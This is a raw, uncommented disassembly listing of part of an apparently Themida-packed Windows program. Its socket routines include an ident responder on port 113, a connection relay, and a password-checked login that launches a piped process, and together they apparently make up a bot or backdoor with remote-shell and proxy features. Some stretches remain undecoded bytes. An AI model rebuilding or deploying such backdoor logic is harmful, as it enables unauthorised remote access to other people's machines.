		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
sub_4100DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410190	proc near		; DATA XREF: Themida_:00558F4Co
		push	ebx
		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp-110h]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp-110h]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp-110h]
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		call	sub_41B886
		cmp	[ebp+14h], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp-310h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_410190+4Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_410190	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 900227FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 2270A4Eh
		dd 0E890EDEBh, 22803D9h, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F8h
		dd 5E5F022Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 59E89057h, 57022DF5h, 410CCC68h, 6BE89000h, 85023701h
		dd 0E82975C0h, 227FE25h, 0D8685090h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
		dd 22DF520h, 8D106A53h,	5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E8905056h, 227F3E4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 227030Eh, 0E890EDEBh, 227FC99h
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 0F336E856h, 5B90022Dh, 4439C033h,	940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0949h


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2780EABh
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		nop
		call	near ptr 26A0949h
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710ABAh
		nop


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
